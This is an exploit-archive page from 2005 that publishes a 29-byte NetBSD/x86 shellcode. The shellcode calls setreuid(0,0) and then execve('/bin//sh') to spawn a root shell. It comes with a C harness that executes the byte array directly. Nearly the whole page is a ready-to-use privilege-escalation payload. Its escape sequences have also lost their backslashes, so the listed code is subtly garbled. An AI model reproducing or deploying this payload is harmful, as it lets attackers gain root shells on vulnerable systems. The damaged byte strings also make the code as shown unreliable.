[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 29 bytes
# Published : 2005-11-30
# Author : p. minervini
# Previous Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 30 bytes
# Next Title : sco/x86 execve("/bin/sh", ..., NULL); 43 bytes
/*
* minervini at neuralnoise dot com (c) 2005
* NetBSD/i386 2.0, setreuid(0, 0); execve("/bin//sh", ..., NULL);
* note: unsafe shellcode, but 29 bytes long;
* doesn't work if (eax & 0x40000000) != 0;
*/
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
char scode[] =
"x99" // cltd
"x52" // push %edx
"x52" // push %edx
"x52" // push %edx
"x6ax7e" // push $0x7e
"x58" // pop %eax
"xcdx80" // int $0x80
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x54" // push %esp
"x53" // push %ebx
"x52" // push %edx
"x34x3b" // xor $0x3b,%al
"xcdx80"; // int $0x80
int main() {
void (*code) () = (void *) scode;
printf("length: %dn", strlen(scode));
code();
return (0);
}
// www.Syue.com [2005-11-30]